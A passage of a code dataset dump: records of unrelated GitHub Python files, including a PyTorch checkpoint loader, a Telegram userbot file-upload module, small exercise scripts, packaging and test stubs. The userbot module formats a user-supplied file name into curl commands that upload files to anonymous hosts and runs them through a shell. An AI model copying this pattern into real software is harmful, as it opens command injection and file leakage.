)\n if is_best:\n torch.save(\n target.state_dict(),\n os.path.join(apath, 'model', 'model_best.pt')\n )\n \n if self.save_models:\n torch.save(\n target.state_dict(),\n os.path.join(apath, 'model', 'model_{}.pt'.format(epoch))\n )\n\n def load(self, apath, pre_train='', resume=-1, cpu=False):\n if cpu:\n kwargs = {'map_location': lambda storage, loc: storage}\n else:\n kwargs = {}\n\n if resume == -1:\n self.get_model().load_state_dict(\n torch.load(\n os.path.join(apath, 'model', 'model_latest.pt'),\n **kwargs\n ),\n strict=False\n )\n elif resume == 0:\n if pre_train != '':\n print('Loading model from {}'.format(pre_train))\n self.get_model().load_state_dict(\n torch.load(pre_train, **kwargs),\n strict=False\n )\n else:\n self.get_model().load_state_dict(\n torch.load(\n '/home/wdd/Work/Pytorch/MGN-pytorch-master/experiment/test815/model/model_100.pt',\n **kwargs\n ),\n strict=False\n )","repo_name":"xxradon/PytorchToCaffe","sub_path":"model/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","stars":769,"dataset":"github-code","pt":"48"} +{"seq_id":"16518113021","text":"# Kanged from UniBorg\n# Modified by AnggaR96s\n\nimport asyncio\nimport json\nimport os\n\nfrom userbot import CMD_HELP, TEMP_DOWNLOAD_DIRECTORY\nfrom userbot.events import register\n\n\n@register(\n outgoing=True,\n pattern=r\"^\\.web ?(.+?|) (anonfiles|transfer|filebin|anonymousfiles|megaupload|bayfiles|letsupload|0x0)\",\n)\nasync def webupload(event):\n await event.edit(\"**Processing...**\")\n input_str = event.pattern_match.group(1)\n selected_transfer = event.pattern_match.group(2)\n if input_str:\n file_name = input_str\n else:\n reply = await event.get_reply_message()\n file_name = await event.client.download_media(\n reply.media, TEMP_DOWNLOAD_DIRECTORY\n )\n\n CMD_WEB = {\n \"anonfiles\": 'curl -F \"file=@{full_file_path}\" https://anonfiles.com/api/upload',\n \"transfer\": 'curl --upload-file \"{full_file_path}\" https://transfer.sh/{bare_local_name}',\n \"filebin\": 'curl -X POST --data-binary \"@{full_file_path}\" -H \"filename: {bare_local_name}\" \"https://filebin.net\"',\n \"anonymousfiles\": 'curl -F file=\"@{full_file_path}\" https://api.anonymousfiles.io/',\n \"megaupload\": 'curl -F \"file=@{full_file_path}\" https://megaupload.is/api/upload',\n \"bayfiles\": 'curl -F \"file=@{full_file_path}\" https://bayfiles.com/api/upload',\n \"letsupload\": 'curl -F \"file=@{full_file_path}\" https://api.letsupload.cc/upload',\n \"0x0\": 'curl -F \"file=@{full_file_path}\" https://0x0.st',\n }\n filename = os.path.basename(file_name)\n try:\n selected_one = CMD_WEB[selected_transfer].format(\n full_file_path=file_name, bare_local_name=filename\n )\n except KeyError:\n await event.edit(\"**Invalid selction.**\")\n return\n cmd = selected_one\n # start the subprocess $SHELL\n process = await asyncio.create_subprocess_shell(\n cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE\n )\n stdout, stderr = await process.communicate()\n stderr.decode().strip()\n t_response = stdout.decode().strip()\n if t_response:\n try:\n t_response = json.dumps(json.loads(t_response), sort_keys=True, indent=4)\n except Exception:\n pass # some sites don't return valid JSONs\n # assuming, the return values won't be longer than 4096 characters\n await event.edit(t_response)\n\n\nCMD_HELP.update(\n {\n \"webupload\": \">`.web` \"\n \"\\nServer List: anonfiles|transfer|filebin|anonymousfiles|megaupload|bayfiles|lestupload|0x0\"\n \"\\nUsage: Reply to a file to upload it to one of the above servers.\"\n }\n)\n","repo_name":"KenHV/KensurBot","sub_path":"userbot/modules/webupload.py","file_name":"webupload.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"48"} +{"seq_id":"72758509906","text":"def get( i ):\n if i % 2 == 0:\n return i // 4 * 4 + 1 + i % 4 // 2\n else:\n return i % 4 // 2\n\nfor i in range( int( input() ) ):\n L, R = map( int, input().split() )\n if R - L >= 4:\n print( 0 )\n else:\n ans = get( R )\n for j in range( L, R ):\n ans &= get( j )\n print( ans )\n","repo_name":"dibery/UVa","sub_path":"vol130/13081.py","file_name":"13081.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"ru","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"34671155549","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"dpsbin\",\n version=\"0.0.4\",\n author=\"Hans Musgrave\",\n author_email=\"Hans.Musgrave@gmail.com\",\n description=\"Compute exact DPS for turn-based games\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/hmusgrave/dpsbin\",\n download_url=\"https://github.com/hmusgrave/dpsbin/archive/0.0.4.tar.gz\",\n packages=setuptools.find_packages(),\n install_requires=['numpy', 'scipy>=1.0.0'],\n setup_requires=['wheel'],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: GNU Affero General Public License v3 or later (AGPLv3+)\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3',\n)\n","repo_name":"hmusgrave/dpsbin","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33665628236","text":"import os\r\nfrom fpdf import FPDF\r\n\r\n\r\nclass FPDF_fixed(FPDF):\r\n def __init__(self, orientation='P', unit='mm', format='A4'):\r\n super().__init__(orientation=orientation, unit=unit, format=format)\r\n self.buffer = bytearray()\r\n\r\n def _out(self, s):\r\n if(self.state == 2): # 正在生成某一页\r\n # 兼容原代码,在一页内继续使用字符串,这会使生成页面内容有平方开销,但对于从图片生成pdf是无所谓的,因为页面内容仅是对图片资源的引用,而图片资源是单独附加的\r\n if isinstance(s, bytes):\r\n s = s.decode('latin1')\r\n elif not isinstance(s, str):\r\n s = str(s)\r\n self.pages[self.page] += s + '\\n'\r\n else:\r\n if not isinstance(s, bytes):\r\n if not isinstance(s, str):\r\n s = str(s)\r\n s = s.encode('latin1')\r\n self.buffer += s + b'\\n'\r\n\r\n def output(self, name=''):\r\n if(self.state < 3):\r\n self.close()\r\n with open(name, 'wb') as f:\r\n f.write(self.buffer)\r\n\r\n\r\nif __name__ == '__main__':\r\n pdf = FPDF_fixed()\r\n for page in range(1, 389):\r\n pdf.add_page()\r\n pdf.image(f'download/{page}.png', x=0, y=0, w=210, h=297)\r\n pdf.output('output.pdf')\r\n","repo_name":"YouJiacheng/ChaoXingCrawler","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20982689741","text":"# Создать (программно) текстовый файл, записать в него программно набор\n# чисел, разделенных пробелами. Программа должна подсчитывать сумму чисел в\n# файле и выводить ее на экран.\nimport random\n\n# result = ' '.join(map(str, [random.randrange(1, 50) for i in range(20)]))\nnumbers_list = [random.randrange(1, 50) for i in range(20)]\nresult = ' '.join(map(str, numbers_list))\n\nwith open('ex5.txt', 'wt', encoding='utf-8') as output_file:\n output_file.write(result)\n\nwith open('ex5.txt', 'rt', encoding='utf-8') as input_file:\n # print(sum(map(int, input_file.readline().split())))\n # input_file.seek(0)\n numbers_raw = input_file.readline()\n numbers_sum = sum(map(int, numbers_raw.split()))\n print(numbers_sum)\n","repo_name":"Nikkurer/gb_py_basics","sub_path":"Lesson_5/ex5.py","file_name":"ex5.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22739526117","text":"import enum\nfrom MasterApprenticeLib.TD1_Lib_MasterLogger import MasterLogger\n\n\n#class LoggerServiceEnums(enum):\n# pass\n\n\nclass BaseLoggerService(MasterLogger):\n \"\"\"\n This is a Base Logger Service using the MasterLogger as Framework. All services should make a new\n class referencing this base class.\n\n This logger service aims to bridge the MasterLogger and the Python Console where any logging will\n be printed onto the Python Console.\n\n Usage:\n class XXXService(BaseLoggerService):\n pass\n\n OR\n\n def __init__(self):\n super(BaseLoggerService, self).__init__(\n module_name=XXX,\n main_owner=XXX,\n additional_content=XXX\n )\n \"\"\"\n def __init__(self, module_name=None, main_owner=None, additional_context=None):\n super(BaseLoggerService, self).__init__(\n module_name=self.__class__.__name__ if module_name is None else module_name,\n main_owner=\"TwelfthDoctor1\" if main_owner is None else main_owner,\n additional_context=None if additional_context is None else additional_context\n )\n\n def info(self, message, owner=None, to_console=True):\n super(BaseLoggerService, self).info(\n message=message,\n owner=owner\n )\n\n if to_console is True:\n print(message)\n\n def log(self, message, owner=None, to_console=True):\n super(BaseLoggerService, self).log(\n message=message,\n owner=owner\n )\n\n if to_console is True:\n print(message)\n\n def debug(self, message, owner=None, to_console=True):\n super(BaseLoggerService, self).debug(\n message=message,\n owner=owner\n )\n\n if to_console is True:\n print(message)\n\n def warn(self, message, owner=None, to_console=True):\n super(BaseLoggerService, self).warn(\n message=message,\n owner=owner\n )\n\n if to_console is True:\n print(message)\n\n def error(self, message, owner=None, to_console=True):\n super(BaseLoggerService, self).error(\n message=message,\n owner=owner\n )\n\n if to_console is True:\n print(message)\n\n def assert_error(self, message, owner=None, to_console=True):\n super(BaseLoggerService, self).assert_error(\n message=message,\n owner=owner\n )\n\n if to_console is True:\n print(message)\n\n def exception(self, message, owner=None, to_console=True):\n super(BaseLoggerService, self).exception(\n message=message,\n owner=owner\n )\n\n if to_console is True:\n print(message)\n\n @property\n def get_service_name(self):\n return self.__class__.__name__\n","repo_name":"TwelfthDoctor1/TD1-Discord-Python-Bot","sub_path":"UtilLib/LoggerService.py","file_name":"LoggerService.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"74905426065","text":"# https://www.acmicpc.net/problem/1764\n# import sys\n\n# input = sys.stdin.readline\nn, m = map(int, input().split())\nunh = []\nuns = []\nfor i in range(n):\n unh.append(input())\nfor i in range(m):\n uns.append(input())\ns_unh = set(unh)\ns_uns = set(uns)\n\nanswer = list(s_unh.intersection(s_uns))\n\nprint(len(answer))\nfor a in sorted(answer):\n print(a)\n","repo_name":"limnyn/python_codingtest","sub_path":"백준/ex/1764_듣보잡.py","file_name":"1764_듣보잡.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"288420357","text":"import random\nNum = int(input(\"enter number of coin flips:\"))\n\ncoinflip = 0\nh = 0\nt = 0\n\nwhile coinflip < Num:\n coinflip = coinflip + 1\n rand = random.randint(0,1)\n if rand == 1:\n h = h + 1\n else:\n t = t + 1\nprint ( h,\"heads\", t, \"tails\")","repo_name":"Marabrie/python-exercises","sub_path":"coinflip.py","file_name":"coinflip.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37336216553","text":"import kunquat.tracker.config as config\n\n\nclass StyleManager():\n\n _STYLE_DEFAULTS = {\n 'border_contrast' : 0.25,\n 'button_brightness' : 0.10,\n 'button_press_brightness' : -0.2,\n 'bg_colour' : '#4c474e',\n 'fg_colour' : '#dbdbdb',\n 'bg_sunken_colour' : '#2b2238',\n 'disabled_fg_colour' : '#969696',\n 'important_button_bg_colour' : '#d5412c',\n 'important_button_fg_colour' : '#fff',\n 'active_indicator_colour' : '#ff2020',\n 'conns_bg_colour' : '#111',\n 'conns_edge_colour' : '#ccc',\n 'conns_focus_colour' : '#f72',\n 'conns_port_colour' : '#eca',\n 'conns_invalid_port_colour' : '#f33',\n 'conns_inst_bg_colour' : '#335',\n 'conns_inst_fg_colour' : '#def',\n 'conns_effect_bg_colour' : '#543',\n 'conns_effect_fg_colour' : '#fed',\n 'conns_proc_voice_bg_colour' : '#255',\n 'conns_proc_voice_fg_colour' : '#cff',\n 'conns_proc_voice_selected_colour' : '#9b9',\n 'conns_proc_mixed_bg_colour' : '#525',\n 'conns_proc_mixed_fg_colour' : '#fcf',\n 'conns_master_bg_colour' : '#353',\n 'conns_master_fg_colour' : '#dfd',\n 'envelope_bg_colour' : '#000',\n 'envelope_axis_label_colour' : '#ccc',\n 'envelope_axis_line_colour' : '#ccc',\n 'envelope_curve_colour' : '#68a',\n 'envelope_node_colour' : '#eca',\n 'envelope_focus_colour' : '#f72',\n 'envelope_loop_marker_colour' : '#7799bb',\n 'peak_meter_bg_colour' : '#000',\n 'peak_meter_low_colour' : '#191',\n 'peak_meter_mid_colour' : '#ddcc33',\n 'peak_meter_high_colour' : '#e21',\n 'peak_meter_clip_colour' : '#f32',\n 'position_bg_colour' : '#000',\n 'position_fg_colour' : '#6d6',\n 'position_stopped_colour' : '#555',\n 'position_play_colour' : '#6d6',\n 'position_record_colour' : '#d43',\n 'position_infinite_colour' : '#fd5',\n 'position_title_colour' : '#777',\n 'sample_map_bg_colour' : '#000',\n 'sample_map_axis_label_colour' : '#ccc',\n 'sample_map_axis_line_colour' : '#ccc',\n 'sample_map_focus_colour' : '#f72',\n 'sample_map_point_colour' : '#eca',\n 'sample_map_selected_colour' : '#ffd',\n 'sheet_area_selection_colour' : '#8ac',\n 'sheet_canvas_bg_colour' : '#111',\n 'sheet_column_bg_colour' : '#000',\n 'sheet_column_border_colour' : '#222',\n 'sheet_cursor_view_line_colour' : '#def',\n 'sheet_cursor_edit_line_colour' : '#f84',\n 'sheet_grid_level_1_colour' : '#aaa',\n 'sheet_grid_level_2_colour' : '#666',\n 'sheet_grid_level_3_colour' : '#444',\n 'sheet_header_bg_colour' : '#242',\n 'sheet_header_fg_colour' : '#cea',\n 'sheet_header_solo_colour' : '#7e6',\n 'sheet_ruler_bg_colour' : '#125',\n 'sheet_ruler_fg_colour' : '#acf',\n 'sheet_ruler_playback_marker_colour': '#d68',\n 'sheet_playback_cursor_colour' : '#6e6',\n 'sheet_trigger_default_colour' : '#cde',\n 'sheet_trigger_note_on_colour' : '#fdb',\n 'sheet_trigger_hit_colour' : '#be8',\n 'sheet_trigger_note_off_colour' : '#c96',\n 'sheet_trigger_warning_bg_colour' : '#e31',\n 'sheet_trigger_warning_fg_colour' : '#ffc',\n 'system_load_bg_colour' : '#000',\n 'system_load_low_colour' : '#191',\n 'system_load_mid_colour' : '#dc3',\n 'system_load_high_colour' : '#e21',\n 'text_bg_colour' : '#211d2c',\n 'text_fg_colour' : '#e9d0a7',\n 'text_selected_bg_colour' : '#36a',\n 'text_selected_fg_colour' : '#ffc',\n 'text_disabled_fg_colour' : '#8b7865',\n 'waveform_bg_colour' : '#000',\n 'waveform_focus_colour' : '#fa5',\n 'waveform_centre_line_colour' : '#666',\n 'waveform_zoomed_out_colour' : '#67d091',\n 'waveform_single_item_colour' : '#67d091',\n 'waveform_interpolated_colour' : '#396',\n 'waveform_loop_marker_colour' : '#dfd58e',\n }\n\n def __init__(self):\n self._controller = None\n self._ui_model = None\n self._share = None\n self._init_ss = None\n\n def set_controller(self, controller):\n self._controller = controller\n self._share = controller.get_share()\n\n def set_ui_model(self, ui_model):\n self._ui_model = ui_model\n\n def set_init_style_sheet(self, init_ss):\n self._init_ss = init_ss\n\n def get_init_style_sheet(self):\n return self._init_ss\n\n def get_style_sheet_template(self):\n return self._share.get_style_sheet('default')\n\n def get_icons_dir(self):\n return self._share.get_icons_dir()\n\n def set_custom_style_enabled(self, enabled):\n config_style = self._get_config_style()\n config_style['enabled'] = enabled\n self._set_config_style(config_style)\n\n def is_custom_style_enabled(self):\n config_style = self._get_config_style()\n return config_style.get('enabled', True)\n\n def get_style_param(self, key):\n config_style = self._get_config_style()\n return config_style.get(key, self._STYLE_DEFAULTS[key])\n\n def set_style_param(self, key, value):\n config_style = self._get_config_style()\n\n config_style[key] = value\n if key.endswith('_colour'):\n # Make sure that all colours are stored if one is changed\n for k in self._STYLE_DEFAULTS.keys():\n if (k != key) and (k not in config_style):\n config_style[k] = self._STYLE_DEFAULTS[k]\n\n self._set_config_style(config_style)\n\n def get_adjusted_colour(self, param, brightness):\n orig_colour = self._get_colour_from_str(self.get_style_param(param))\n adjusted_colour = (c + brightness for c in orig_colour)\n return self._get_str_from_colour(adjusted_colour)\n\n def get_link_colour(self):\n shift = (-0.3, 0.1, 0.6)\n fg_colour = self._get_colour_from_str(self.get_style_param('fg_colour'))\n return self._get_str_from_colour(c + s for (c, s) in zip(fg_colour, shift))\n\n def _get_colour_from_str(self, s):\n if len(s) == 4:\n cs = [s[1], s[2], s[3]]\n colour = tuple(int(c, 16) / 15 for c in cs)\n elif len(s) == 7:\n cs = [s[1:3], s[3:5], s[5:7]]\n colour = tuple(int(c, 16) / 255 for c in cs)\n else:\n assert False\n return colour\n\n def _get_str_from_colour(self, colour):\n clamped = [min(max(0, c), 1) for c in colour]\n cs = ['{:02x}'.format(int(c * 255)) for c in clamped]\n s = '#' + ''.join(cs)\n assert len(s) == 7\n return s\n\n def _set_config_style(self, style):\n cfg = config.get_config()\n cfg.set_value('style', style)\n\n def _get_config_style(self):\n cfg = config.get_config()\n return cfg.get_value('style') or {}\n\n\n","repo_name":"Jasu/kunquat","sub_path":"kunquat/tracker/ui/model/stylemanager.py","file_name":"stylemanager.py","file_ext":"py","file_size_in_byte":7800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"6904518315","text":"# stdlib\nfrom typing import Optional\n# libs\nfrom cloudcix_rest.exceptions import Http403\nfrom rest_framework.request import Request\n# local\nfrom iaas.models import Project\n\n__all__ = [\n 'Permissions',\n]\n\n\nclass Permissions:\n \"\"\"\n Checks the permissions of the views.Project methods\n \"\"\"\n\n @staticmethod\n def list(request: Request, obj: Project) -> Optional[Http403]:\n \"\"\"\n The request to list PolicyLogs for a Project is valid if;\n - The requesting User owns to chosen Project.\n \"\"\"\n if request.user.id == 1: # pragma: no cover\n return None\n\n if obj.address_id != request.user.address['id']:\n return Http403(error_code='iaas_policy_log_list_201')\n\n return None\n","repo_name":"CloudCIX/iaas","sub_path":"permissions/policy_log.py","file_name":"policy_log.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23329028785","text":"# Author: Mario Niemann\n\n# using the detailled log data to create some higher level analysis\n\nimport pandas as pd\n\ndef analyze_results(resultfolder):\n # load the log data\n df = pd.read_parquet(resultfolder + '/exp_results.parquet')\n \n # keep only required columns\n df = df[['algorithm','environment','iteration','random_seed','episode_reward_mean','episode_reward_max','evaluation_reward_mean','entropy','num_env_steps_trained','num_env_steps_sampled','time_this_iter_s','time_total_s']]\n \n # define grouping of data and columns to be calculated\n res_df = df.groupby(['algorithm','environment','iteration']).agg({\n 'random_seed' : [('seed_count', 'count')],\n 'episode_reward_mean': [('reward_Mean', 'mean'), ('reward_StdDev', 'std')],\n 'episode_reward_max': [('reward_max_mean', 'mean'), ('reward_max_Max', 'max')],\n 'evaluation_reward_mean': [('evaluation_reward_Mean', 'mean'), ('evaluation_reward_StdDev', 'std')],\n 'time_this_iter_s': [('duration_Mean', 'mean')],\n 'time_total_s': [('time_total_Mean', 'mean')],\n 'entropy': [('entropy_Mean', 'mean')],\n 'num_env_steps_trained': [('steps_trained_Mean', 'mean')],\n 'num_env_steps_sampled': [('steps_sampled_Mean', 'mean')]\n }).reset_index()\n \n # calculate standard error for error bands on reward\n res_df.columns = [col[1] if col[1] != '' else col[0] for col in res_df.columns.values]\n res_df['reward_StdError'] = res_df['reward_StdDev'] / (res_df['seed_count'] ** 0.5)\n res_df['reward_upperErrorBound'] = res_df['reward_Mean'] + res_df['reward_StdError']\n res_df['reward_lowerErrorBound'] = res_df['reward_Mean'] - res_df['reward_StdError']\n \n #print(res_df)\n\n # save to csv file\n res_df.to_csv(resultfolder + '/exp_analysis.csv', index=False, sep=';', decimal=',')","repo_name":"MarioFfm81/RLPerformanceHub","sub_path":"modules/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28974292522","text":"import matplotlib.pyplot as plt\nimport datetime\nimport json\nimport sys\nimport os\n\nif len(sys.argv) <= 1:\n print('Missing file name argument\\nUsage: python3 iperf_plotter.py file.json')\n sys.exit(0)\n\ninput_file_name = sys.argv[1]\noutput_file_name = os.path.splitext(input_file_name)[0]\n\nwith open(input_file_name) as json_file:\n json_data = json.load(json_file)\n\ntime_intervals = json_data['intervals']\ntime_intervals_sum = [item['sum'] for item in time_intervals]\n\ndate = json_data['start']['timestamp']['timesecs']\ndate = datetime.datetime.fromtimestamp(date)\n\nstart_time = [int(item['start']) for item in time_intervals_sum]\nend_time = [int(item['end']) for item in time_intervals_sum]\ntotal_bytes = [item['bytes'] / 1000000 for item in time_intervals_sum]\nbits_per_second = [item['bits_per_second'] / 1000000 for item in time_intervals_sum]\n\nplt.figure(1)\nplt.title('Throughput')\nplt.subplots_adjust(bottom=0.2)\nplt.plot(end_time, bits_per_second)\nplt.xlabel(f\"Time (s)\\n\\n{date.strftime('%d-%m-%y %H:%M')}\")\nplt.ylabel('Mbits/s')\nplt.savefig(f'{output_file_name}_throughput.png')\n\nplt.figure(2)\nplt.title('Total megabytes transferred')\nplt.subplots_adjust(bottom=0.2)\nplt.plot(end_time, total_bytes)\nplt.xlabel(f\"Time (s)\\n\\n{date.strftime('%d-%m-%y %H:%M')}\")\nplt.ylabel('Megabytes')\nplt.savefig(f'{output_file_name}_total_bytes.png')\n\nprint('Completed.')\n","repo_name":"rafaeloliveira00/iperf3-plotter","sub_path":"iperf_plotter.py","file_name":"iperf_plotter.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"74559917904","text":"def odwroc_string(zdanie):\n #Zwraca odwrócony string Jeśli arugment jest pustym stringiem lub None - zwraca non\n #:param zdanie: Zdanie do odwrócenia\n #return: Odwrócone zdanie lub None\n if zdanie == \"\" or zdanie == None:\n return None\n else:\n return zdanie[::-1]\n\n\n #funkcja main ważny też koniec bierze tylko funkcję\ndef main():\n imie = \"Ala\"\n odwr_imie = odwroc_string(imie)\n spr_imie = imie[::-1]\n\n if odwr_imie == spr_imie:\n print(f\"Imię {imie} zostało prawidłowo obrócone na {odwr_imie}\")\n else:\n print(f\"Nieprawidłowe {imie} != {odwr_imie}\")\n\nif __name__ == '__main__':\n main()","repo_name":"Dawca22/zajeciaPyt4","sub_path":"dzien7/moj_modul/odwrocony_string.py","file_name":"odwrocony_string.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73991761747","text":"import os \r\nfrom PIL import Image\r\n\r\ndef eh_imagem(nome_arquivo):\r\n if nome_arquivo.endswith('png') or nome_arquivo.endswith('jpg'):\r\n return True\r\n return False\r\n\r\ndef reduzir_tamanho_imagens(input_dir, output_dir, ext='.jpg'): #ext='.jpg' é o formato padrão para as imagens redimencionadas\r\n lista_arquivos = [nome for nome in os.listdir(input_dir) if eh_imagem(nome)]\r\n for nome in lista_arquivos:\r\n imagem = Image.open(os.path.join(input_dir, nome)).convert('RGB')\r\n redimencionada = imagem.resize((600, 600))\r\n nome_sem_ext = os.path.splitext(nome)[0]\r\n redimencionada.save(os.path.join(output_dir, nome_sem_ext + ext ))\r\n # print(lista_arq uivos)\r\nprint('')\r\nprint('Suas imagens foram redimecionadas rs')\r\nprint('')\r\n\r\nif __name__ == \"__main__\":\r\n diretorio = 'C:\\\\Users\\\\bruno\\\\OneDrive\\\\Área de Trabalho\\\\imag'\r\n reduzir_tamanho_imagens(diretorio, 'output')\r\n ","repo_name":"BrnCode/Praticando-Py","sub_path":"reduzir_imagem.py","file_name":"reduzir_imagem.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14691164470","text":"# CoMaII - PA_05 - AVL-Baum\n# Attila Kekesi + Vorlesungsmaterial\n# for comajudge\n\nclass Node:\n def __init__(self,key,leftChild=None,rightChild=None,parent=None):\n self.key = key\n self.leftChild = leftChild\n self.rightChild = rightChild\n self.parent = parent\n\n def height(self):\n l = 0\n r = 0\n if self.leftChild != None:\n l = self.leftChild.height()\n if self.rightChild != None:\n r = self.rightChild.height()\n if self.leftChild == None and self.rightChild == None:\n return 0\n return max(l,r) + 1\n\nclass AVLTree:\n def __init__(self,key):\n self.key = key\n self.root = Node(key)\n\n def insert(self,key):\n \"\"\"\n Eingabe:\n Schluesselwert key von neuem Knoten node mit node.left = node.right = None\n Resultat:\n Modifikation von T, sodass node neuer Baumknoten ist\n \"\"\"\n node = Node(key)\n y = None\n x = self.root\n while x != None:\n y = x\n if node.key < x.key:\n x = x.leftChild\n else:\n x = x.rightChild\n node.parent = y\n if y == None:\n self.root = node\n elif node.key < y.key:\n y.leftChild = node\n else:\n y.rightChild = node\n self.treeAVL(node)\n\n def rotateRight(self,node):\n \"\"\"\n Eingabe:\n Knoten node in T mit node.left != None\n Resultat:\n node.left nimmt Platz von node ein\n node wird rechtes Kind von node.left\n \"\"\"\n y = node.leftChild\n if node.parent == None:\n self.root = y\n elif node.parent.leftChild == node:\n node.parent.leftChild = y\n else:\n node.parent.rightChild = y\n y.parent = node.parent\n node.leftChild = y.rightChild\n if node.leftChild != None:\n node.leftChild.parent = node\n y.rightChild = node\n node.parent = y\n\n def rotateLeft(self,node):\n \"\"\"\n Eingabe:\n Knoten node in T mit node.right != None\n Resultat:\n node.right nimmt Platz von node ein\n node wird linkes Kind von node.right\n \"\"\"\n y = node.rightChild\n if node.parent == None:\n self.root = y\n elif node.parent.leftChild == node:\n node.parent.leftChild = y\n else:\n node.parent.rightChild = y\n y.parent = node.parent\n node.rightChild = y.leftChild\n if node.rightChild != None:\n node.rightChild.parent = node\n y.leftChild = node\n node.parent = y\n\n def treeBalance(self,node):\n \"\"\"\n Eingabe:\n Knoten node in T\n Ausgabe:\n balance fuer node\n \"\"\"\n hr = 0\n hl = 0\n if node.leftChild == None:\n hl = -1\n else:\n hl = node.leftChild.height()\n if node.rightChild == None:\n hr = -1\n else:\n hr = node.rightChild.height()\n return hr-hl\n\n def treePath(self,node):\n \"\"\"\n Eingabe:\n Knoten node in T\n Ausgabe:\n Pfad von Knoten node bis root\n \"\"\"\n P = [node]\n while P[-1] != self.root:\n y = P[-1]\n P.append(y.parent)\n return P\n\n def treeAVL(self,node):\n \"\"\"\n Eingabe:\n Knoten node in T\n Resultat:\n von node ausgegangen wurde AVL-Eigenschaften erstellt\n \"\"\"\n P = self.treePath(node)\n for i in range(1,len(P)):\n y = P[i]\n yChild = P[i-1]\n yBalance = self.treeBalance(y)\n yChildBalance = self.treeBalance(yChild)\n if abs(yBalance) == 2: # Balance = -2,2\n if y.leftChild == yChild: # leftChild\n if abs(yBalance+yChildBalance) == 3: # Balance = -2,-1 oder 2,1\n self.rotateRight(y)\n else: # Balance = -2,1 oder 2,-1\n self.rotateLeft(y.leftChild)\n self.rotateRight(y)\n else: # rightChild\n if abs(yBalance+yChildBalance) == 3: # Balance = -2,-1 oder 2,1\n self.rotateLeft(y)\n else: # Balance = -2,1 oder 2,-1\n self.rotateRight(y.rightChild)\n self.rotateLeft(y)","repo_name":"akekesi/CoMa_I_II_TU_Berlin_Python","sub_path":"CoMa_II_PA_05.py","file_name":"CoMa_II_PA_05.py","file_ext":"py","file_size_in_byte":4637,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13755953775","text":"from collections import deque\nfrom itertools import combinations\n\ndef solution(relation):\n nRow = len(relation)\n nCol = len(relation[0])\n \n candidates = []\n for i in range(1,nCol+1):\n candidates +=combinations(range(nCol),i)\n \n uniqueness = []\n for keys in candidates:\n tmp=[item[key] for key in keys for item in relation]\n if len(set(tmp))==nRow:\n uniqueness.append(keys)\n minimality=set(uniqueness[:])\n for i in range(len(uniqueness)):\n for j in range(i+1,len(uniqueness)):\n if len(uniqueness[i])==len(set(uniqueness[i]) & (set(uniqueness[j]))): \n minimality.discard(uniqueness[j])\n return len(minimality)","repo_name":"Daejjyu/Algorithm","sub_path":"Programmers/pro_42890_후보키.py","file_name":"pro_42890_후보키.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"12089783835","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\n\nfrom flask import json\nfrom six import BytesIO\n\nfrom swagger_server.models.api_response_authentication_config_info import ApiResponseAuthenticationConfigInfo # noqa: E501\nfrom swagger_server.models.api_response_security_config_info import ApiResponseSecurityConfigInfo # noqa: E501\nfrom swagger_server.models.api_response_string import ApiResponseString # noqa: E501\nfrom swagger_server.models.authentication_config_info import AuthenticationConfigInfo # noqa: E501\nfrom swagger_server.models.security_config_info import SecurityConfigInfo # noqa: E501\nfrom swagger_server.test import BaseTestCase\n\n\nclass TestSecurityAuthenticationApiController(BaseTestCase):\n \"\"\"SecurityAuthenticationApiController integration test stubs\"\"\"\n\n def test_get_auth_config(self):\n \"\"\"Test case for get_auth_config\n\n \n \"\"\"\n response = self.client.open(\n '/Marti/api/authentication/config',\n method='GET')\n self.assert200(response,\n 'Response body is : ' + response.data.decode('utf-8'))\n\n def test_get_sec_config(self):\n \"\"\"Test case for get_sec_config\n\n \n \"\"\"\n response = self.client.open(\n '/Marti/api/security/config',\n method='GET')\n 